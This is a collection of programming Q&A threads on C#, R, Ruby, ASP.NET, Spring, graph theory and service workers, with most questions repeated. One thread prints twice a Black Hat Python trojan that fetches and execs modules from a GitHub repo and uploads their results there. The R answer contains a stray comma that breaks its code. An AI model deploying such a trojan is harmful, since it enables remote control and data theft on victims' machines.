var audience = settings.TokenAudience.OriginalString;
var context = new AuthenticationContext(settings.AuthenticationEndpoint + domain,
    settings.ValidateAuthority,
    TokenCache.DefaultShared,
    httpClientFactory);

var authenticationProvider = new MemoryApplicationAuthenticationProvider(clientCredential);

var authResult = await authenticationProvider.AuthenticateAsync(clientCredential.ClientId, audience, context).ConfigureAwait(false);
var credentials = new TokenCredentials(
    new ApplicationTokenProvider(context, audience, clientCredential.ClientId, authenticationProvider, authResult),
    authResult.TenantId,
    authResult.UserInfo == null ? null : authResult.UserInfo.DisplayableId);

I really don't replicating the logic in the workaround, but I don't think there's any other option until it's fixed properly in Microsoft.Rest.ClientRuntime.Azure.Authentication

Good luck!


问:
In ggplot2 how to add angled label to donut chart
Below code can draw donut chart as the left one in attached image, how to change the label as the right one? Thanks!

```<code>library(tidyverse)
pie_data <- data.frame(category=c('A','B','C'),sales=c(70,25,40))
pie_data %>% ggplot(aes(x=1,y=sales,fill=category))+
  geom_col()+
  scale_fill_brewer(direction = -1)+
  geom_text(position=position_stack(vjust=0.5),aes(label=paste0('Category ',category,':',sales)))+
  xlim(-1,2)+
  coord_polar(theta = 'y')+
  theme_void()
</code>```

答:
You can use geom_textpath from the geomtextpath package, which is now on CRAN. Essentially just replace geom_text with geom_textpath and set the angle to 90 degrees.

library(geomtextpath)
library(dplyr)

pie_data <- data.frame(category = c('A', 'B', 'C'),
                       ,sales = c(70, 25, 40))
pie_data %>% ggplot(aes(x = 1, y = sales, fill = category)) +
  geom_col() +
  scale_fill_brewer(direction = -1) +
  geom_textpath(position = position_stack(vjust = 0.5), angle = 90, size = 8,
            aes(label = paste0('Category ', category, ':', sales))) +
  xlim(-1, 2) +
  coord_polar(theta = 'y') +
  theme_void()
```

Body:
Below code can draw donut chart as the left one in attached image, how to change the label as the right one? Thanks!

library(tidyverse)
pie_data <- data.frame(category=c('A','B','C'),sales=c(70,25,40))
pie_data %>% ggplot(aes(x=1,y=sales,fill=category))+
  geom_col()+
  scale_fill_brewer(direction = -1)+
  geom_text(position=position_stack(vjust=0.5),aes(label=paste0('Category ',category,':',sales)))+
  xlim(-1,2)+
  coord_polar(theta = 'y')+
  theme_void()


问:
"Visual studio 2008 SP1" ADO.NET Entity Data Model template not found
I have installed Visual Studio Team System 2008 Architecture version: 9.0.30729.1 SP and Microsoft Net Framework 3.5 SP1.

When I'm going to add a new item I can't find ADO.NET Entity Data Model template.

What's happening?

Thanks!

答:
Make sure you have VS2008 sp1 (http://www.microsoft.com/downloads/details.aspx?FamilyId=FBEE1648-7106-44A7-9649-6D9F6D58056E&displaylang=en).
I had .Net Framework 3.5 SP1 installed but not the VS2008 SP1.
...at least that is what I was doing wrong.</p>

OwnerDisplayName: VansFannel

ContentLicense: CC BY-SA 2.5

LastEditorDisplayName: VansFannel

OwnerDisplayName: Kenneth


问:
superclass mismatch for class HTTP on mac os X
I'm having some troubles installing my Ruby on Rails environment on my Mac, I'm trying with this versions:

ruby 1.8.7 (2011-06-30 patchlevel 352) [i686-darwin10.7.1]

gem 1.8.6

Snow Leopard 10.6.8

I think that XCode by default installs some ruby libraries that are in conflict with some of my gems. To install ruby I have used "rvm install 1.8.7"

This is the error's stack trace:

```<code>/Users/raimonbosch//.rvm/rubies/ruby-1.8.7-p352/lib/ruby/1.8/net/http.rb:278
activesupport (3.0.3) lib/active_support/dependencies.rb:239:in `require'
activesupport (3.0.3) lib/active_support/dependencies.rb:239:in `require'
activesupport (3.0.3) lib/active_support/dependencies.rb:225:in `load_dependency'
activesupport (3.0.3) lib/active_support/dependencies.rb:596:in `new_constants_in'
activesupport (3.0.3) lib/active_support/dependencies.rb:225:in `load_dependency'
activesupport (3.0.3) lib/active_support/dependencies.rb:239:in `require'
/Users/raimonbosch//.rvm/rubies/ruby-1.8.7-p352/lib/ruby/1.8/net/https.rb:101
activesupport (3.0.3) lib/active_support/dependencies.rb:239:in `require'
activesupport (3.0.3) lib/active_support/dependencies.rb:239:in `require'
activesupport (3.0.3) lib/active_support/dependencies.rb:225:in `load_dependency'
activesupport (3.0.3) lib/active_support/dependencies.rb:596:in `new_constants_in'
activesupport (3.0.3) lib/active_support/dependencies.rb:225:in `load_dependency'
activesupport (3.0.3) lib/active_support/dependencies.rb:239:in `require'
activesupport (3.0.3) lib/active_support/dependencies.rb:454:in `load'
activesupport (3.0.3) lib/active_support/dependencies.rb:454:in `load_file'
activesupport (3.0.3) lib/active_support/dependencies.rb:596:in `new_constants_in'
activesupport (3.0.3) lib/active_support/dependencies.rb:453:in `load_file'
activesupport (3.0.3) lib/active_support/dependencies.rb:340:in `require_or_load'
activesupport (3.0.3) lib/active_support/dependencies.rb:491:in `load_missing_constant'
activesupport (3.0.3) lib/active_support/dependencies.rb:183:in `const_missing'
activesupport (3.0.3) lib/active_support/dependencies.rb:181:in `each'
activesupport (3.0.3) lib/active_support/dependencies.rb:181:in `const_missing'
activesupport (3.0.3) lib/active_support/inflector/methods.rb:113:in `constantize'
activesupport (3.0.3) lib/active_support/inflector/methods.rb:112:in `each'
activesupport (3.0.3) lib/active_support/inflector/methods.rb:112:in `constantize'
activesupport (3.0.3) lib/active_support/dependencies.rb:528
activesupport (3.0.3) lib/active_support/dependencies.rb:538:in `call'
activesupport (3.0.3) lib/active_support/dependencies.rb:538:in `default'
activesupport (3.0.3) lib/active_support/dependencies.rb:538:in `[]'
activesupport (3.0.3) lib/active_support/dependencies.rb:538:in `get'
actionpack (3.0.3) lib/action_dispatch/routing/route_set.rb:58:in `controller_reference'
actionpack (3.0.3) lib/action_dispatch/routing/route_set.rb:44:in `controller'
actionpack (3.0.3) lib/action_dispatch/routing/route_set.rb:23:in `call'
rack-mount (0.6.14) lib/rack/mount/route_set.rb:148:in `call'
rack-mount (0.6.14) lib/rack/mount/code_generation.rb:93:in `recognize'
rack-mount (0.6.14) lib/rack/mount/code_generation.rb:68:in `optimized_each'
rack-mount (0.6.14) lib/rack/mount/code_generation.rb:92:in `recognize'
rack-mount (0.6.14) lib/rack/mount/route_set.rb:139:in `call'
actionpack (3.0.3) lib/action_dispatch/routing/route_set.rb:492:in `call'
actionpack (3.0.3) lib/action_dispatch/middleware/best_standards_support.rb:17:in `call'
actionpack (3.0.3) lib/action_dispatch/middleware/head.rb:14:in `call'
rack (1.2.3) lib/rack/methodoverride.rb:24:in `call'
actionpack (3.0.3) lib/action_dispatch/middleware/params_parser.rb:21:in `call'
actionpack (3.0.3) lib/action_dispatch/middleware/flash.rb:182:in `call'
actionpack (3.0.3) lib/action_dispatch/middleware/session/abstract_store.rb:149:in `call'
actionpack (3.0.3) lib/action_dispatch/middleware/cookies.rb:295:in `call'
activerecord (3.0.3) lib/active_record/query_cache.rb:32:in `call'
activerecord (3.0.3) lib/active_record/connection_adapters/abstract/query_cache.rb:28:in `cache'
activerecord (3.0.3) lib/active_record/query_cache.rb:12:in `cache'
activerecord (3.0.3) lib/active_record/query_cache.rb:31:in `call'
activerecord (3.0.3) lib/active_record/connection_adapters/abstract/connection_pool.rb:353:in `call'
actionpack (3.0.3) lib/action_dispatch/middleware/callbacks.rb:46:in `call'
activesupport (3.0.3) lib/active_support/callbacks.rb:415:in `_run_call_callbacks'
actionpack (3.0.3) lib/action_dispatch/middleware/callbacks.rb:44:in `call'
rack (1.2.3) lib/rack/sendfile.rb:107:in `call'
actionpack (3.0.3) lib/action_dispatch/middleware/remote_ip.rb:48:in `call'
actionpack (3.0.3) lib/action_dispatch/middleware/show_exceptions.rb:46:in `call'
railties (3.0.3) lib/rails/rack/logger.rb:13:in `call'
rack (1.2.3) lib/rack/runtime.rb:17:in `call'
activesupport (3.0.3) lib/active_support/cache/strategy/local_cache.rb:72:in `call'
rack (1.2.3) lib/rack/lock.rb:11:in `call'
rack (1.2.3) lib/rack/lock.rb:11:in `synchronize'
rack (1.2.3) lib/rack/lock.rb:11:in `call'
actionpack (3.0.3) lib/action_dispatch/middleware/static.rb:30:in `call'
railties (3.0.3) lib/rails/application.rb:168:in `call'
railties (3.0.3) lib/rails/application.rb:77:in `send'
railties (3.0.3) lib/rails/application.rb:77:in `method_missing'
railties (3.0.3) lib/rails/rack/log_tailer.rb:14:in `call'
rack (1.2.3) lib/rack/content_length.rb:13:in `call'
rack (1.2.3) lib/rack/handler/webrick.rb:52:in `service'
/Users/raimonbosch//.rvm/rubies/ruby-1.8.7-p352/lib/ruby/1.8/webrick/httpserver.rb:104:in `service'
/Users/raimonbosch//.rvm/rubies/ruby-1.8.7-p352/lib/ruby/1.8/webrick/httpserver.rb:65:in `run'
/Users/raimonbosch//.rvm/rubies/ruby-1.8.7-p352/lib/ruby/1.8/webrick/server.rb:173:in `start_thread'
/Users/raimonbosch//.rvm/rubies/ruby-1.8.7-p352/lib/ruby/1.8/webrick/server.rb:162:in `start'
/Users/raimonbosch//.rvm/rubies/ruby-1.8.7-p352/lib/ruby/1.8/webrick/server.rb:162:in `start_thread'
/Users/raimonbosch//.rvm/rubies/ruby-1.8.7-p352/lib/ruby/1.8/webrick/server.rb:95:in `start'
/Users/raimonbosch//.rvm/rubies/ruby-1.8.7-p352/lib/ruby/1.8/webrick/server.rb:92:in `each'
/Users/raimonbosch//.rvm/rubies/ruby-1.8.7-p352/lib/ruby/1.8/webrick/server.rb:92:in `start'
/Users/raimonbosch//.rvm/rubies/ruby-1.8.7-p352/lib/ruby/1.8/webrick/server.rb:23:in `start'
/Users/raimonbosch//.rvm/rubies/ruby-1.8.7-p352/lib/ruby/1.8/webrick/server.rb:82:in `start'
rack (1.2.3) lib/rack/handler/webrick.rb:13:in `run'
rack (1.2.3) lib/rack/server.rb:217:in `start'
railties (3.0.3) lib/rails/commands/server.rb:65:in `start'
railties (3.0.3) lib/rails/commands.rb:30
railties (3.0.3) lib/rails/commands.rb:27:in `tap'
railties (3.0.3) lib/rails/commands.rb:27
script/rails:6:in `require'
script/rails:6
</code>```

Thanks in advance,

Raimon Bosch.

答:
In the end we found another class in the repository with the same name:

```<code>cd $HOME/.rvm/gems
find . -name *.rb | xargs grep 'class HTTP'
</code>```

Then we see an HTTP class on net.ssh-2.1.4

```<code>./ruby-1.8.7-p352/gems/net-ssh-2.1.4/lib/net/ssh/proxy/http.rb:  class HTTP
</code>```

To solve the problem we forced the require 'net/http' and require 'net/https' at the beginning of the application. If the aplication requires the default gems is requiring first the HTTP class of net-ssh-2.1.4 and then we are not able to use Net:HTTP.

Body:
I'm having some troubles installing my Ruby on Rails environment on my Mac, I'm trying with this versions:

ruby 1.8.7 (2011-06-30 patchlevel 352) [i686-darwin10.7.1]

gem 1.8.6

Snow Leopard 10.6.8

I think that XCode by default installs some ruby libraries that are in conflict with some of my gems. To install ruby I have used "rvm install 1.8.7"

This is the error's stack trace:

/Users/raimonbosch//.rvm/rubies/ruby-1.8.7-p352/lib/ruby/1.8/net/http.rb:278
activesupport (3.0.3) lib/active_support/dependencies.rb:239:in `require'
activesupport (3.0.3) lib/active_support/dependencies.rb:239:in `require'
activesupport (3.0.3) lib/active_support/dependencies.rb:225:in `load_dependency'
activesupport (3.0.3) lib/active_support/dependencies.rb:596:in `new_constants_in'
activesupport (3.0.3) lib/active_support/dependencies.rb:225:in `load_dependency'
activesupport (3.0.3) lib/active_support/dependencies.rb:239:in `require'
/Users/raimonbosch//.rvm/rubies/ruby-1.8.7-p352/lib/ruby/1.8/net/https.rb:101
activesupport (3.0.3) lib/active_support/dependencies.rb:239:in `require'
activesupport (3.0.3) lib/active_support/dependencies.rb:239:in `require'
activesupport (3.0.3) lib/active_support/dependencies.rb:225:in `load_dependency'
activesupport (3.0.3) lib/active_support/dependencies.rb:596:in `new_constants_in'
activesupport (3.0.3) lib/active_support/dependencies.rb:225:in `load_dependency'
activesupport (3.0.3) lib/active_support/dependencies.rb:239:in `require'
activesupport (3.0.3) lib/active_support/dependencies.rb:454:in `load'
activesupport (3.0.3) lib/active_support/dependencies.rb:454:in `load_file'
activesupport (3.0.3) lib/active_support/dependencies.rb:596:in `new_constants_in'
activesupport (3.0.3) lib/active_support/dependencies.rb:453:in `load_file'
activesupport (3.0.3) lib/active_support/dependencies.rb:340:in `require_or_load'
activesupport (3.0.3) lib/active_support/dependencies.rb:491:in `load_missing_constant'
activesupport (3.0.3) lib/active_support/dependencies.rb:183:in `const_missing'
activesupport (3.0.3) lib/active_support/dependencies.rb:181:in `each'
activesupport (3.0.3) lib/active_support/dependencies.rb:181:in `const_missing'
activesupport (3.0.3) lib/active_support/inflector/methods.rb:113:in `constantize'
activesupport (3.0.3) lib/active_support/inflector/methods.rb:112:in `each'
activesupport (3.0.3) lib/active_support/inflector/methods.rb:112:in `constantize'
activesupport (3.0.3) lib/active_support/dependencies.rb:528
activesupport (3.0.3) lib/active_support/dependencies.rb:538:in `call'
activesupport (3.0.3) lib/active_support/dependencies.rb:538:in `default'
activesupport (3.0.3) lib/active_support/dependencies.rb:538:in `[]'
activesupport (3.0.3) lib/active_support/dependencies.rb:538:in `get'
actionpack (3.0.3) lib/action_dispatch/routing/route_set.rb:58:in `controller_reference'
actionpack (3.0.3) lib/action_dispatch/routing/route_set.rb:44:in `controller'
actionpack (3.0.3) lib/action_dispatch/routing/route_set.rb:23:in `call'
rack-mount (0.6.14) lib/rack/mount/route_set.rb:148:in `call'
rack-mount (0.6.14) lib/rack/mount/code_generation.rb:93:in `recognize'
rack-mount (0.6.14) lib/rack/mount/code_generation.rb:68:in `optimized_each'
rack-mount (0.6.14) lib/rack/mount/code_generation.rb:92:in `recognize'
rack-mount (0.6.14) lib/rack/mount/route_set.rb:139:in `call'
actionpack (3.0.3) lib/action_dispatch/routing/route_set.rb:492:in `call'
actionpack (3.0.3) lib/action_dispatch/middleware/best_standards_support.rb:17:in `call'
actionpack (3.0.3) lib/action_dispatch/middleware/head.rb:14:in `call'
rack (1.2.3) lib/rack/methodoverride.rb:24:in `call'
actionpack (3.0.3) lib/action_dispatch/middleware/params_parser.rb:21:in `call'
actionpack (3.0.3) lib/action_dispatch/middleware/flash.rb:182:in `call'
actionpack (3.0.3) lib/action_dispatch/middleware/session/abstract_store.rb:149:in `call'
actionpack (3.0.3) lib/action_dispatch/middleware/cookies.rb:295:in `call'
activerecord (3.0.3) lib/active_record/query_cache.rb:32:in `call'
activerecord (3.0.3) lib/active_record/connection_adapters/abstract/query_cache.rb:28:in `cache'
activerecord (3.0.3) lib/active_record/query_cache.rb:12:in `cache'
activerecord (3.0.3) lib/active_record/query_cache.rb:31:in `call'
activerecord (3.0.3) lib/active_record/connection_adapters/abstract/connection_pool.rb:353:in `call'
actionpack (3.0.3) lib/action_dispatch/middleware/callbacks.rb:46:in `call'
activesupport (3.0.3) lib/active_support/callbacks.rb:415:in `_run_call_callbacks'
actionpack (3.0.3) lib/action_dispatch/middleware/callbacks.rb:44:in `call'
rack (1.2.3) lib/rack/sendfile.rb:107:in `call'
actionpack (3.0.3) lib/action_dispatch/middleware/remote_ip.rb:48:in `call'
actionpack (3.0.3) lib/action_dispatch/middleware/show_exceptions.rb:46:in `call'
railties (3.0.3) lib/rails/rack/logger.rb:13:in `call'
rack (1.2.3) lib/rack/runtime.rb:17:in `call'
activesupport (3.0.3) lib/active_support/cache/strategy/local_cache.rb:72:in `call'
rack (1.2.3) lib/rack/lock.rb:11:in `call'
rack (1.2.3) lib/rack/lock.rb:11:in `synchronize'
rack (1.2.3) lib/rack/lock.rb:11:in `call'
actionpack (3.0.3) lib/action_dispatch/middleware/static.rb:30:in `call'
railties (3.0.3) lib/rails/application.rb:168:in `call'
railties (3.0.3) lib/rails/application.rb:77:in `send'
railties (3.0.3) lib/rails/application.rb:77:in `method_missing'
railties (3.0.3) lib/rails/rack/log_tailer.rb:14:in `call'
rack (1.2.3) lib/rack/content_length.rb:13:in `call'
rack (1.2.3) lib/rack/handler/webrick.rb:52:in `service'
/Users/raimonbosch//.rvm/rubies/ruby-1.8.7-p352/lib/ruby/1.8/webrick/httpserver.rb:104:in `service'
/Users/raimonbosch//.rvm/rubies/ruby-1.8.7-p352/lib/ruby/1.8/webrick/httpserver.rb:65:in `run'
/Users/raimonbosch//.rvm/rubies/ruby-1.8.7-p352/lib/ruby/1.8/webrick/server.rb:173:in `start_thread'
/Users/raimonbosch//.rvm/rubies/ruby-1.8.7-p352/lib/ruby/1.8/webrick/server.rb:162:in `start'
/Users/raimonbosch//.rvm/rubies/ruby-1.8.7-p352/lib/ruby/1.8/webrick/server.rb:162:in `start_thread'
/Users/raimonbosch//.rvm/rubies/ruby-1.8.7-p352/lib/ruby/1.8/webrick/server.rb:95:in `start'
/Users/raimonbosch//.rvm/rubies/ruby-1.8.7-p352/lib/ruby/1.8/webrick/server.rb:92:in `each'
/Users/raimonbosch//.rvm/rubies/ruby-1.8.7-p352/lib/ruby/1.8/webrick/server.rb:92:in `start'
/Users/raimonbosch//.rvm/rubies/ruby-1.8.7-p352/lib/ruby/1.8/webrick/server.rb:23:in `start'
/Users/raimonbosch//.rvm/rubies/ruby-1.8.7-p352/lib/ruby/1.8/webrick/server.rb:82:in `start'
rack (1.2.3) lib/rack/handler/webrick.rb:13:in `run'
rack (1.2.3) lib/rack/server.rb:217:in `start'
railties (3.0.3) lib/rails/commands/server.rb:65:in `start'
railties (3.0.3) lib/rails/commands.rb:30
railties (3.0.3) lib/rails/commands.rb:27:in `tap'
railties (3.0.3) lib/rails/commands.rb:27
script/rails:6:in `require'
script/rails:6

Thanks in advance,

Raimon Bosch.

Body:
In the end we found another class in the repository with the same name:

cd $HOME/.rvm/gems
find . -name *.rb | xargs grep 'class HTTP'

Then we see an HTTP class on net.ssh-2.1.4

./ruby-1.8.7-p352/gems/net-ssh-2.1.4/lib/net/ssh/proxy/http.rb:  class HTTP

To solve the problem we forced the require 'net/http' and require 'net/https' at the beginning of the application. If the aplication requires the default gems is requiring first the HTTP class of net-ssh-2.1.4 and then we are not able to use Net:HTTP.


问:
black hat python chapter 7, I'm getting the error "github3.exceptions.NotFoundError:404"; can anyone see the problem here?
I've been following a book called Black Hat Python 2nd edition and, when it comes to the task in chapter 7, I'm getting errors like the titular "github3.exceptions.NotFoundError:404" i have no idea on how to fix it and looking at other questions has, unfortunately, not helped me. I'm going to put here the program in its entirety and all of the errors that i get when i run it. I hope that some of you can help me.

full program:

```<code>import base64
import github3
import importlib
import json
import sys
import random
import threading
import time
from datetime import datetime

def connect_to_github():
    with open("mytoken.txt") as f:
        token = f.read()
    user = 'Anderaxarex'
    sess = github3.login(token=token)
    return sess.repository(user, 'bhptrojan')

def get_content(dirname, module_name, repo):
    return repo.file_contents(f'{dirname}/{module_name}').content

class Trojan:
    def __init__(self, id):
        self.id = id
        self.config_file = f'{id}.json'
        self.repo = connect_to_github()
        self.data_path = f'data/{id}'

    def get_config(self):
        config_file = get_content('config', self.config_file, self.repo)
        config = json.loads(base64.b64decode(config_file))

        for task in config:
            if task['module'] not in sys.modules:
                exec("import %s" % task['module'])
        return config

    def store_result(self, data):
        message = datetime.now().isoformat()
        remotepath = f'data/{self.id}/{message}.data'
        bindata = bytes('%r' % data, 'utf-8')
        self.repo.create_file(remotepath, message, base64.b64decode(bindata))

    def module_runner(self, module):
        result = sys.modules[module].run()
        self.store_result(result)

    def run(self):
        while True:
            config = self.get_config()
            for task in config:
                thread = threading.Thread(
                    target=self.module_runner,
                    args=(task['module'],)
                )
                thread.start()
                time.sleep(random.randint(1, 10))

            time.sleep(random.randint(3*60, 3*60*60))

class GitImporter:
    def __init__(self):
        self.current_module_code=""
        self.repo = connect_to_github()

    def find_module(self, name, path=None):
        print("[||] Retrieving %s" % name)
        self.repo = connect_to_github()
        new_library = get_content('modules', f'{name}.py', self.repo)
        if new_library is not None:
            self.current_module_code = base64.b64decode(new_library)
            return self

    def load_modules(self, name):
        spec = importlib.util.spec_from_loader(name, loader=None, origin=self.repo.git_url)
        new_module = importlib.util.module_from_spec(spec)
        exec(self.current_module_code, new_module.__dict__)
        sys.modules[spec.name] = new_module
        return new_module

if __name__ == '__main__':
    sys.meta_path.append(GitImporter())
    trojan = Trojan(f'{random.randint(1000, 10000)}')
    trojan.run()
</code>```

error messages:

```<code>Traceback (most recent call last):
  File "tro.py", line 83, in <module>
    trojan.run()
  File "tro.py", line 49, in run
    config = self.get_config()
  File "tro.py", line 29, in get_config
    config_file = get_content('config', self.config_file, self.repo)
  File "tro.py", line 19, in get_content
    return repo.file_contents(f'{dirname}/{module_name}').content
  File "C:\Users\ascar\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.8_qbz5n2kfra8p0\LocalCache\local-packages\Python38\site-packages\github3\repos\repo.py", line 1676, in file_contents
    json = self._json(self._get(url, params={"ref": ref}), 200)
  File "C:\Users\ascar\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.8_qbz5n2kfra8p0\LocalCache\local-packages\Python38\site-packages\github3\models.py", line 153, in _json
    raise exceptions.error_for(response)
github3.exceptions.NotFoundError: 404 Not Found
</code>```

答:
You're getting this error because the repo you are trying to connect to, doesn't exist in GitHub.

You can verify this from your browser. Go to https://github.com/Anderaxarex/bhptrojan in your browser. It doesn't exist.

Body:
I've been following a book called Black Hat Python 2nd edition and, when it comes to the task in chapter 7, I'm getting errors like the titular "github3.exceptions.NotFoundError:404" i have no idea on how to fix it and looking at other questions has, unfortunately, not helped me. I'm going to put here the program in its entirety and all of the errors that i get when i run it. I hope that some of you can help me.

full program:

import base64
import github3
import importlib
import json
import sys
import random
import threading
import time
from datetime import datetime

def connect_to_github():
    with open("mytoken.txt") as f:
        token = f.read()
    user = 'Anderaxarex'
    sess = github3.login(token=token)
    return sess.repository(user, 'bhptrojan')

def get_content(dirname, module_name, repo):
    return repo.file_contents(f'{dirname}/{module_name}').content

class Trojan:
    def __init__(self, id):
        self.id = id
        self.config_file = f'{id}.json'
        self.repo = connect_to_github()
        self.data_path = f'data/{id}'

    def get_config(self):
        config_file = get_content('config', self.config_file, self.repo)
        config = json.loads(base64.b64decode(config_file))

        for task in config:
            if task['module'] not in sys.modules:
                exec("import %s" % task['module'])
        return config

    def store_result(self, data):
        message = datetime.now().isoformat()
        remotepath = f'data/{self.id}/{message}.data'
        bindata = bytes('%r' % data, 'utf-8')
        self.repo.create_file(remotepath, message, base64.b64decode(bindata))

    def module_runner(self, module):
        result = sys.modules[module].run()
        self.store_result(result)

    def run(self):
        while True:
            config = self.get_config()
            for task in config:
                thread = threading.Thread(
                    target=self.module_runner,
                    args=(task['module'],)
                )
                thread.start()
                time.sleep(random.randint(1, 10))

            time.sleep(random.randint(3*60, 3*60*60))

class GitImporter:
    def __init__(self):
        self.current_module_code=""
        self.repo = connect_to_github()

    def find_module(self, name, path=None):
        print("[||] Retrieving %s" % name)
        self.repo = connect_to_github()
        new_library = get_content('modules', f'{name}.py', self.repo)
        if new_library is not None:
            self.current_module_code = base64.b64decode(new_library)
            return self

    def load_modules(self, name):
        spec = importlib.util.spec_from_loader(name, loader=None, origin=self.repo.git_url)
        new_module = importlib.util.module_from_spec(spec)
        exec(self.current_module_code, new_module.__dict__)
        sys.modules[spec.name] = new_module
        return new_module

if __name__ == '__main__':
    sys.meta_path.append(GitImporter())
    trojan = Trojan(f'{random.randint(1000, 10000)}')
    trojan.run()

error messages:

Traceback (most recent call last):
  File "tro.py", line 83, in <module>
    trojan.run()
  File "tro.py", line 49, in run
    config = self.get_config()
  File "tro.py", line 29, in get_config
    config_file = get_content('config', self.config_file, self.repo)
  File "tro.py", line 19, in get_content
    return repo.file_contents(f'{dirname}/{module_name}').content
  File "C:\Users\ascar\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.8_qbz5n2kfra8p0\LocalCache\local-packages\Python38\site-packages\github3\repos\repo.py", line 1676, in file_contents
    json = self._json(self._get(url, params={"ref": ref}), 200)
  File "C:\Users\ascar\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.8_qbz5n2kfra8p0\LocalCache\local-packages\Python38\site-packages\github3\models.py", line 153, in _json
    raise exceptions.error_for(response)
github3.exceptions.NotFoundError: 404 Not Found


问:
How to get the HTML id generated by asp.net MVC EditorFor
I use the HTML Helpers to render my fields:

```<code><%=Html.EditorFor(m => m.User.Surname)%>
</code>```

and the output would be something like this:

```<code><input class="text-box single-line" id="User_Surname"
          name="User.Surname" type="text" value="" />
</code>```

The helper uses the className + '.' è fieldName to build the id.

I need to pass the id to a jQuery function. Is there a way to have it without hardcoding it?
Maybe an helper which can use the ASP.NET MVC2 conventions?

答:
See this question: get the generated clientid for a form field, this is my answer:

I use this helper:

```<code>public static partial class HtmlExtensions
{
    public static MvcHtmlString ClientIdFor<TModel, TProperty>(
        this HtmlHelper<TModel> htmlHelper,
        Expression<Func<TModel, TProperty>> expression)
    {
        return MvcHtmlString.Create(
              htmlHelper.ViewContext.ViewData.TemplateInfo.GetFullHtmlFieldId(
                  ExpressionHelper.GetExpressionText(expression)));
    }
}
</code>```

Use it just as you would any other helper: @Html.ClientIdFor(model=>model.client.email)

Body:
I use the HTML Helpers to render my fields:

<%=Html.EditorFor(m => m.User.Surname)%>

and the output would be something like this:

<input class="text-box single-line" id="User_Surname"
          name="User.Surname" type="text" value="" />

The helper uses the className + '.' è fieldName to build the id.

I need to pass the id to a jQuery function. Is there a way to have it without hardcoding it?
Maybe an helper which can use the ASP.NET MVC2 conventions?

Body:
See this question: get the generated clientid for a form field, this is my answer:

I use this helper:

public static partial class HtmlExtensions
{
    public static MvcHtmlString ClientIdFor<TModel, TProperty>(
        this HtmlHelper<TModel> htmlHelper,
        Expression<Func<TModel, TProperty>> expression)
    {
        return MvcHtmlString.Create(
              htmlHelper.ViewContext.ViewData.TemplateInfo.GetFullHtmlFieldId(
                  ExpressionHelper.GetExpressionText(expression)));
    }
}

Use it just as you would any other helper: @Html.ClientIdFor(model=>model.client.email)


问:
Multipart file with document name not found
I am getting this error in test case for following api.

Required request part 'document' is not present

```<code>@PostMapping(value = "/testModel/{modelName}", consumes = {
            MediaType.MULTIPART_FORM_DATA_VALUE })
    public ResponseEntity<Object> testModel(@PathVariable("modelName") String modelName,
            @RequestPart MultipartFile document) {

    }
</code>```

following is the test case for above api

```<code>@Test
@Transactional
void testModel() throws Exception {
    service.save(domainModelDTo);

    FileInputStream fi2 = new FileInputStream(new File("test.pdf"));
    MockMultipartFile file = new MockMultipartFile("file", "test.pdf", DEFAULT_BINARY.toString(), fi2);
    log.debug("file name {}", file.getOriginalFilename()); // test.pdf print in log
    log.debug("file length {}", file.getBytes().length); // 44782 print in log
    mockMvc.perform(multipart(ENTITY_API_URL, domainModelDTo.getName()).file(file)).andExpect(status().isOk());
}
</code>```

I have implemented this from the following link as it is:

https://www.baeldung.com/sprint-boot-multipart-requests

答:
In your MockMultipartFile the first parameter (name) must match the request parameter property (in this case document).

So if you change your code to:

```<code> MockMultipartFile file = new MockMultipartFile("document", "test.pdf", DEFAULT_BINARY.toString(), fi2);
</code>```

The problem should be resolved.

Body:
I am getting this error in test case for following api.

Required request part 'document' is not present

@PostMapping(value = "/testModel/{modelName}", consumes = {
            MediaType.MULTIPART_FORM_DATA_VALUE })
    public ResponseEntity<Object> testModel(@PathVariable("modelName") String modelName,
            @RequestPart MultipartFile document) {

    }

following is the test case for above api

@Test
@Transactional
void testModel() throws Exception {
    service.save(domainModelDTo);

    FileInputStream fi2 = new FileInputStream(new File("test.pdf"));
    MockMultipartFile file = new MockMultipartFile("file", "test.pdf", DEFAULT_BINARY.toString(), fi2);
    log.debug("file name {}", file.getOriginalFilename()); // test.pdf print in log
    log.debug("file length {}", file.getBytes().length); // 44782 print in log
    mockMvc.perform(multipart(ENTITY_API_URL, domainModelDTo.getName()).file(file)).andExpect(status().isOk());
}

I have implemented this from the following link as it is:

https://www.baeldung.com/sprint-boot-multipart-requests

Body:
In your MockMultipartFile the first parameter (name) must match the request parameter property (in this case document).

So if you change your code to:

 MockMultipartFile file = new MockMultipartFile("document", "test.pdf", DEFAULT_BINARY.toString(), fi2);

The problem should be resolved.


问:
Proof about interval graphs being perfect
I know that interval graphs are perfect, because when you use k colors to color a graph, the maximum clique size of the said graph is also k.

My main question is how to begin this proof.

Do I use induction for this? The base case would be simple, with the one and the only interval receiving the sole color and the maximum clique size being one as well.

What's the best way to go from here?

答:
The standard proof uses a greedy algorithm to color the graph, not induction. You order the intervals by their left endpoint, and start greedily coloring each of them starting from the left. It is quite easy to show that if you have to use the (clique number + 1)'th color at any point, then there is a clique of size (clique number + 1) -- which is obviously not possible. This proves that the clique number is equal to the chromatic number.

And any induced subgraph of an interval graph is also an interval graph, so interval graphs are perfect.


问:
Service Worker: The event handler is already finished (even though called synchronously from the event handler)
I have read and think I understand:

What does event.waitUntil do in service worker and why is it needed?

Service worker error: event already responded to

The just of those answers is that event.waitUntil() must be called synchronously from the event handler. Which is what I am doing below (in fact it is the only line of the event handler):

The Error

Uncaught (in promise) DOMException: Failed to execute 'respondWith' on 'FetchEvent': The event handler is already finished.
```
<p>Min reproducible example:</p>
<pre class="lang-js prettyprint-override"><code>self.addEventListener("fetch", (event) => event.waitUntil(handleFetch(event)));

async function handleFetch(event) {
    const response = await runFetch(event);
    event.respondWith(response);  // <---- here the error is raised
}

async function runFetch(event) {
    const response = await fetch(event.request.url);

    if (response.ok) {
        // Don't await cachePut, allow the response to be returned immediately first.
        // Then later it will perform the cachePut promise. Use waitUntil so the Service worker is not killed until the cachePut promise resolves.
        event.waitUntil(cachePut(event.request.url, response.clone()));
    }
    return response
}

async function cachePut(url, response) {
    const cache = await caches.open('my-cache');
    await cache.put(url, response)
}
</code>```

Note: It seems okay to call waitUntil multiple times (calling waitUntil in a nested sense for cachePut): MDN:

The waitUntil() method must be initially called within the event callback, but after that it can be called multiple times, until all the promises passed to it settle.

答:
TLDR:
respondWith wait before ending the .event
waitUntil wait before killing the service worker.

